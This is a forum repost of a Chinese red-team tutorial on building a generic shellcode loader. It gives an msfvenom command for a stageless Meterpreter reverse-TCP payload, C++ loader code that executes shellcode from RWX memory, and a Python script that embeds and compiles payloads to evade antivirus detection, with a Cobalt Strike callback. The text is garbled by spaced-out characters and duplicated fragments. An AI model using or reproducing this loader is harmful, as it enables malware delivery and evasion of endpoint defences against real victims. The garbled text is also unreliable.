设为首页收藏本站
切换到窄版

 找回密码
 立即注册
搜索
热搜: 活动 交友 discuz
Nmaps Club»论坛 › Pentests Wiki › Wiki › 护网 › [15145] 2020-03-18_红队基本操作：通用Shellcode加载器 ...
返回列表 发新帖
查看: 0|回复: 0

[15145] 2020-03-18_红队基本操作：通用Shellcode加载器

[复制链接]
s7ckTeam

6万

主题

-6万

回帖

-58

积分

管理员

积分
-58
发表于 5 天前 | 显示全部楼层 |阅读模式
2020-03-18_红队基本操作：通用Shellcode加载器 红 队 基 本 操 作 ： 通 用 S h e l l c o d e 加 载 器 周 大 涛   F r e e B u f   2 0 2 0 - 0 3 - 1 8 S h e l l c o d e 加 载 器 是 一 种 基 本 的 规 避 技 术 。 尽 管 加 载 器 是 一 种 基 本 的 规 避 技 术 。 尽 管 s h e l l c o d e 加 载 器 通 常 可 以 促 进 加 载 器 通 常 可 以 促 进 p a y l o a d 的 初 始 执 行 ， 但 是 启 发 式 的 初 始 执 行 ， 但 是 启 发 式 检 测 方 法 仍 可 以 标 记 检 测 方 法 仍 可 以 标 记 p a y l o a d 的 其 他 方 面 和 行 为 。 例 如 ， 很 多 安 全 产 品 可 能 会 在 内 存 中 时 对 其 进 行 检 测 ， 或 者 将 的 其 他 方 面 和 行 为 。 例 如 ， 很 多 安 全 产 品 可 能 会 在 内 存 中 时 对 其 进 行 检 测 ， 或 者 将 特 定 的 网 络 流 量 检 测 为 恶 意 。 我 们 将 研 究 一 些 适 合 与 加 载 器 结 合 使 用 的 后 期 开 发 框 架 ， 并 研 究 如 何 嵌 入 其 他 类 特 定 的 网 络 流 量 检 测 为 恶 意 。 我 们 将 研 究 一 些 适 合 与 加 载 器 结 合 使 用 的 后 期 开 发 框 架 ， 并 研 究 如 何 嵌 入 其 他 类 型 的 二 进 制 文 件 （ 例 如 型 的 二 进 制 文 件 （ 例 如 . N E T 和 已 编 译 的 和 已 编 译 的 P E 二 进 制 文 件 ） 。 二 进 制 文 件 ） 。 博 客 系 列 的 第 一 部 分 将 介 绍 使 用 S h e l l c o d e 进 行 后 期 开 发 p a y l o a d 的 基 本 要 领 。 在 第 二 部 分 中 ， 我 们 将 为 加 载 器 实 现 其 他 功 能 ， 并 查 看 某 些 功 能 的 一 些 优 点 和 缺 点 。 因 为 我 们 使 用 s h e l l c o d e 来 避 免 基 于 签 名 的 检 测 ， 所 以 重 要 的 是 限 制 安 全 解 决 方 案 创 建 启 动 程 序 签 名 的 可 能 性 。 二 进 制 混 淆 是 避 免 基 于 签 名 的 检 测 的 一 种 潜 在 解 决 方 案 ， 我 们 将 编 写 一 个 p y t h o n 脚 本 来 自 动 化 加 载 器 的 生 成 和 混 淆 。 S h e l l c o d e 简 介 简 介 在 攻 击 中 我 们 需 要 在 目 标 上 执 行 某 些 s h e l l c o d e 。 诸 如 M e t a s p l o i t 和 C o b a l t   S t r i k e 之 类 的 后 期 开 发 框 架 都 有 自 己 的 s h e l l c o d e ， 但 是 这 些 框 架 中 的 p a y l o a d 由 于 被 广 泛 使 用 而 具 有 很 高 的 检 测 率 。 但 是 ， 它 们 提 供 了 一 些 功 能 ， 可 以 让 我 们 自 由 发 挥 。 此 外 ， 使 用 易 于 检 测 的 s h e l l c o d e 将 有 助 于 我 们 确 定 加 载 器 的 回 避 功 能 在 开 发 过 程 中 是 否 正 常 运 行 。 M e t a s p l o i t 和 C o b a l t   S t r i k e 提 供 b o t h   s t a g e d 和 s t a g e l e s s   p a y l o a d 。 使 用 b o t h   s t a g e d 的 p a y l o a d 时 ， s h e l l c o d e 会 更 小 ， 从 而 导 致 启 动 程 序 二 进 制 文 件 更 小 。 然 而 ， 与 s t a g e l e s s   p a y l o a d 相 比 ， b o t h   s t a g e d 的 p a y l o a d 被 发 现 的 可 能 更 大 。 这 可 能 是 因 为 来 自 服 务 端 的 网 络 流 量 被 标 记 为 恶 意 ， 或 者 是 因 为 检 测 到 了 攻 击 者 用 来 执 行 最 终 p a y l o a d 的 方 法 。 在 这 片 博 客 中 ， 我 们 将 使 用 s t a g e l e s s   p a y l o a d 进 行 规 避 ， 因 为 我 们 不 关 心 在 将 p a y l o a d 加 载 到 内 存 之 前 的 检 测 。 有 关 b o t h   s t a g e d 与 s t a g e l e s s p a y l o a d 的 更 多 信 息 ， 请 查 看 深 入 了 解 无 负 载 计 量 表 的 负 载   O J   R e e v e s 的 博 客 文 章 。 上 图 演 示 了 如 何 使 用 m s f v e n o m 生 成 原 始 s h e l l c o d e 。 我 们 指 定 p a y l o a d 连 接 的 I P 和 端 口 ， 并 将 输 出 保 存 到 文 件 中 。 处 理 大 文 件 时 ， 该 h e a d 命 令 只 能 用 于 打 印 第 一 个 字 符 。 在 这 里 ， 我 们 使 用 该 - c 参 数 仅 输 出 前 1 0 0 个 字 符 ， 然 后 我 们 可 以 将 其 通 过 管 道 传 递 x x d 以 获 得 s h e l l c o d e 的 十 六 进 制 转 储 。 T h e W o v e r   的 D o n u t 项 目 可 用 于 创 建 与 位 置 无 关 的 s h e l l c o d e ， 该 s h e l l c o d e 可 以 加 载 . N E T ， P E 和 D L L 文 件 。 该 工 具 将 允 许 我 们 通 过 支 持 其 他 p a y l o a d 类 型 来 扩 展 加 载 器 的 可 用 性 。 使 用 D o n u t ， 我 们 可 以 轻 松 地 为 M i m i k a t z ， S a f e t y k a t z 和 S e a t b e l t 等 工 具 生 成 s h e l l c o d e 。 剖 析 剖 析 S h e l l c o d e 加 载 器 加 载 器 s h e l l c o d e 加 载 器 是 用 C 编 写 的 ， 我 们 将 使 用 P y t h o n 自 动 插 入 s h e l l c o d e 并 编 译 二 进 制 文 件 。 要 在 L i n u x 上 编 译 W i n d o w s 可 执 行 文 件 ， 我 们 将 使 用 M i n G W 编 译 器 。 m s f v e n o m   – p   w i n d o w s / m e t e r p r e t e r _ r e v e r s e _ t c p   L H O S T = I P   L P O R T = p o r t   >   s t a g e l e s s _ m e t e r p r e t e r . r a w h e a d   – c   1 0 0   s t a g e l e s s _ m e t e r p r e t e r . r a w   |   x x d
在 这 里 ， 我 们 可 以 看 到 标 准 s h e l l c o d e 加 载 器 的 源 代 码 。 在 本 博 客 系 列 中 ， 我 们 将 为 该 加 载 器 添 加 功 能 。 包 括 四 个 主 要 部 分 。 首 先 ， s h e l l c o d e 被 定 义 为 c h a r 变 量 ， 但 是 当 前 源 代 码 具 有 一 个 占 位 符 字 符 串 ， 该 字 符 串 将 在 以 后 自 动 对 其 进 行 修 改 。 然 后 ， 我 们 使 用 V i r t u a l A l l o c 为 s h e l l c o d e 分 配 内 存 。 重 要 的 是 要 注 意 ， 此 内 存 页 当 前 具 有 读 取 ， 写 入 和 执 行 权 限 。 之 后 ， 使 用 m e m c p y 将 s h e l l c o d e 移 到 新 分 配 的 内 存 页 面 中 。 最 后 ， 执 行 s h e l l c o d e 。 我 们 可 以 使 用 M s f v e n o m ， C o b a l t   S t r i k e 和 D o n u t 生 成 的 s h e l l c o d e 由 原 始 字 节 组 成 。 因 为 我 们 希 望 将 p a y l o a d 嵌 入 到 源 文 件 中 ； 我 们 必 须 将 s h e l l c o d e 格 式 化 为 十 六 进 制 表 示 形 式 。 可 以 使 用 手 动 解 决 方 案 h e x d u m p ， 但 是 稍 后 我 们 将 在 P y t h o n 中 自 动 执 行 此 步 骤 。 该 h e x d u m p 命 令 将 读 取 原 始 的 s h e l l c o d e 文 件 并 返 回 十 六 进 制 格 式 ， 可 以 将 其 嵌 入 源 代 码 中 。 在 上 图 中 ， 我 们 将 输 出 保 存 到 文 件 中 ， 然 后 使 用 该 h e a d 命 令 来 说 明 所 返 回 的 十 六 进 制 格 式 h e x d u m p 。 如 果 # r e p l a c e _ m e # 使 用 十 六 进 制 格 式 的 s h e l l c o d e   替 换 源 文 件 中 的 字 符 串 ， 则 可 以 使 用 M i n G W 对 其 进 行 编 译 。 自 动 化 自 动 化 尽 管 我 们 可 以 格 式 化 s h e l l c o d e 并 将 其 手 动 插 入 到 源 文 件 中 ， 但 是 我 们 将 编 写 一 个 简 短 的 P y t h o n 脚 本 来 自 动 执 行 此 过 程 。 P y t h o n 脚 本 将 需 要 三 个 文 件 操 作 。 它 必 须 读 取 原 始 s h e l l c o d e 文 件 ， 读 取 源 文 件 ， 然 后 将 格 式 化 的 源 代 码 写 入 文 件 ， 然 后 可 以 将 其 编 译 为 最 终 二 进 制 文 件 。 # i n c l u d e   < s t d i o . h > # i n c l u d e   < w i n d o w s . h > u s i n g   n a m e s p a c e   s t d ; i n t   m a i n ( ) {         c h a r   s h e l l c o d e [ ]   =   " 把 s h e l l c o d e 粘 贴 到 这 里 " ;         L P V O I D   l p A l l o c   =   V i r t u a l A l l o c ( 0 ,   s i z e o f   s h e l l c o d e ,   M E M _ C O M M I T ,   P A G E _ E X E C U T E _ R E A D W R I T E ) ;         m e m c p y ( l p A l l o c ,   s h e l l c o d e ,   s i z e o f   s h e l l c o d e ) ;         ( ( v o i d ( * ) ( ) ) l p A l l o c ) ( ) ;         r e t u r n   0 ; } h e x d u m p   - v   - e   ' " " " x "   1 / 1   " % 0 2 x "   " " '   r a w . b i n   > >   h e x _ f o r m a t h e a d   – c   1 0 0   h e x _ f o r m a t i 6 8 6 - w 6 4 - m i n g w 3 2 - c + +   s h e l l c o d e _ l a u n c h e r . c p p   - o   l a u n c h e r . e x e
我 们 a r g p a r s e 用 来 确 定 输 入 文 件 。 通 过 使 用 b i n a s c i i 库 ； 我 们 可 以 不 使 用 h e x d u m p 命 令 将 原 始 s h e l l c o d e 转 换 为 十 六 进 制 。 当 前 ， 源 模 板 文 件 的 路 径 被 硬 编 码 到 p y t h o n 脚 本 中 ， 但 是 可 以 很 容 易 地 对 其 进 行 修 改 ， 以 允 许 用 户 使 用 该 a r g p a r s e 库 在 不 同 的 模 板 之 间 进 行 选 择 。 此 外 ， 我 们 可 以 自 动 编 译 新 格 式 化 的 源 文 件 ， 然 后 在 编 译 完 最 终 二 进 制 文 件 后 将 其 删 除 。 使 用 使 用 x 3 2 d b g 分 析 加 载 器 分 析 加 载 器 如 果 我 们 在 调 试 器 中 运 行 可 执 行 文 件 ， 我 们 可 以 检 查 如 何 执 行 s h e l l c o d e 。 i m p o r t   b i n a s c i i i m p o r t   a r g p a r s e i m p o r t   s u b p r o c e s s i m p o r t   o s d e f   m a i n ( p _ a r g s ) :         #   R e a d   s o u r c e   t e m p l a t e         w i t h   o p e n ( " l a u n c h e r _ t e m p l a t e . c p p " ,   " r " )   a s   i n p u t _ t e m p l a t e :                 s o u r c e _ t e m p l a t e   =   i n p u t _ t e m p l a t e . r e a d ( )         #   R e a d   i n p u t   p a y l o a d         w i t h   o p e n ( p _ a r g s . i n p u t ,   " r b " )   a s   i n p u t _ s h e l l c o d e :                 r a w _ s h e l l c o d e   =   i n p u t _ s h e l l c o d e . r e a d ( )         #   C o n v e r t   r a w   b i n a r y   t o   f o r m a t t e d   h e x         h e x _ d a t a   =   b i n a s c i i . h e x l i f y ( r a w _ s h e l l c o d e ) . d e c o d e ( )         h e x _ f i l e _ c o n t e n t   =   r " x "   +   r " x " . j o i n ( h e x _ d a t a [ n   :   n + 2 ]   f o r   n   i n   r a n g e ( 0 ,   l e n ( h e x _ d a t a ) ,   2 ) )         #   I n s e r t   t h e   s h e l l c o d e   i n t o   t h e   s o u r c e   c o d e         o u t p u t _ f i l e   =   s o u r c e _ t e m p l a t e . r e p l a c e ( " # r e p l a c e _ m e # " ,   h e x _ f i l e _ c o n t e n t )         #   W r i t e   o u r   f o r m a t t e d   s o u r c e   f i l e         w i t h   o p e n ( " c o m p i l e _ m e . c p p " ,   " w " )   a s   o u t p u t _ h a n d l e :                 o u t p u t _ h a n d l e . w r i t e ( o u t p u t _ f i l e )         #   S p e c i f y   o u r   c o m p i l e r   a r g u e m e n t s         c o m p i l e r _ a r g s   =   [ ]         c o m p i l e r _ a r g s . a p p e n d ( " i 6 8 6 - w 6 4 - m i n g w 3 2 - c + + " )         c o m p i l e r _ a r g s . a p p e n d ( " c o m p i l e _ m e . c p p " )         c o m p i l e r _ a r g s . a p p e n d ( " - o " )         i f   l e n ( p _ a r g s . o u t p u t )   >   0 :                         c o m p i l e r _ a r g s . a p p e n d ( p _ a r g s . o u t p u t )         e l s e :                         c o m p i l e r _ a r g s . a p p e n d ( " s h e l l c o d e _ l a u n c h e r . e x e " )         #   C o m p i l e   t h e   f o r m a t t e d   s o u r c e   f i l e         s u b p r o c e s s . r u n ( c o m p i l e r _ a r g s )         #   D e l e t e   t h e   f o r m a t t e d   s o u r c e   f i l e   a f t e r   i t   h a s   b e e n   c o m p i l e d         o s . r e m o v e ( " c o m p i l e _ m e . c p p " ) i f   _ _ n a m e _ _   = =   " _ _ m a i n _ _ " :         p a r s e r   =   a r g p a r s e . A r g u m e n t P a r s e r ( d e s c r i p t i o n = ' P r o t e c t   y o u r   i m p l a n t s ' )         p a r s e r . a d d _ a r g u m e n t ( " - - i n p u t " ,   h e l p = " I n p u t   f i l e .   R a w   s h e l l c o d e " ,   t y p e = s t r ,   r e q u i r e d = T r u e )         p a r s e r . a d d _ a r g u m e n t ( " - - o u t p u t " ,   h e l p = " S p e c i f y   f i l e   o u t p u t " ,   t y p e = s t r ,   d e f a u l t = " " )         a r g s   =   p a r s e r . p a r s e _ a r g s ( )         m a i n ( a r g s )
在 上 图 中 ， 我 们 可 以 看 到 将 s h e l l c o d e 复 制 到 分 配 的 内 存 页 后 会 发 生 什 么 V i r t u a l A l l o c 。 之 后 m e m c p y 被 调 用 时 ， s h e l l c o d e 的 地 址 从 堆 栈 到 移 动 E A X 寄 存 器 。 如 果 我 们 现 在 看 一 下 中 的 值 E A X ； 我 们 可 以 找 到 s h e l l c o d e 所 在 的 地 址 。 一 旦 我 们 有 了 地 址 ； 我 们 可 以 使 用 x 3 2 d b g 中 的 “ 内 存 映 射 ” 标 签 找 到 内 存 页 面 。 如 上 图 所 示 ， 包 含 s h e l l c o d e 的 内 存 页 面 当 前 具 有 读 取 ， 写 入 和 执 行 权 限 。 要 注 意 的 另 一 件 事 是 ， 我 们 可 以 在 中 看 到 一 个 具 有 与 p a y l o a d 相 同 大 小 的 附 加 内 存 页 面 . r d a t a 。 由 于 s h e l l c o d e 是 未 加 密 地 嵌 入 二 进 制 文 件 中 的 ， 因 此 防 御 者 将 能 够 在 不 执 行 启 动 程 序 二 进 制 文 件 的 情 况 下 检 测 到 恶 意 负 载 。
使 用 x 3 2 d b g ， 蓝 色 团 队 可 以 查 看 内 存 页 面 中 的 内 容 并 将 其 导 出 到 文 件 中 ， 以 便 以 后 进 行 进 一 步 分 析 。 对 蓝 色 团 队 成 员 有 用 的 注 释 是 ， 即 使 p a y l o a d 在 嵌 入 发 射 器 二 进 制 文 件 之 前 已 被 加 密 ； 通 过 在 调 试 器 中 逐 步 执 行 ， 仍 可 以 转 储 未 加 密 的 p a y l o a d 。 如 果 我 们 继 续 逐 步 执 行 ， 我 们 可 以 看 到 c a l l   e a x 执 行 后 ， 指 令 指 针 跳 到 了 s h e l l c o d e 。 现 在 ， 当 我 们 正 常 继 续 执 行 时 ， 我 们 会 在 C o b a l t   S t r i k e 中 收 到 客 户 端 连 接 。 结 论 结 论 M s f v e n o m ， C o b a l t   S t r i k e 和 D o n u t 使 我 们 能 够 轻 松 支 持 各 种 不 同 的 p a y l o a d 。 但 是 ， 在 使 这 些 p a y l o a d 绕 过 端 点 安 全 解 决 方 案 之 前 ， 必 须 实 现 其 他 功 能 。 虽 然 当 前 的 加 载 器 是 基 本 的 ， 但 它 是 一 个 很 好 的 基 础 ， 以 后 可 以 扩 展 。 我 们 学 习 了 如 何 格 式 化 原 始 s h e l l c o d e ， 以 及 如 何 将 源 代 码 编 译 为 可 执 行 二 进 制 文 件 。 另 外 ， 我 们 创 建 了 一 个 P y t h o n 脚 本 ， 该 脚 本 可 以 自 动 完 成 该 过 程 。 * 参 考 来 源 ： 参 考 来 源 ： n a g a r r o s e c u r i t y ， ， F B 小 编 周 大 涛 编 译 ， 转 载 请 注 明 来 自 小 编 周 大 涛 编 译 ， 转 载 请 注 明 来 自 F r e e B u f . C O M 精 彩 推 荐 精 彩 推 荐
阅 读 原 文
回复

举报

返回列表 发新帖
高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver|手机版|小黑屋|Nmaps Club

GMT+8, 2025-1-23 13:15 , Processed in 0.750496 second(s), 31 queries .

Powered by Discuz! X3.5

© 2001-2025 Discuz! Team.

快速回复 返回顶部 返回列表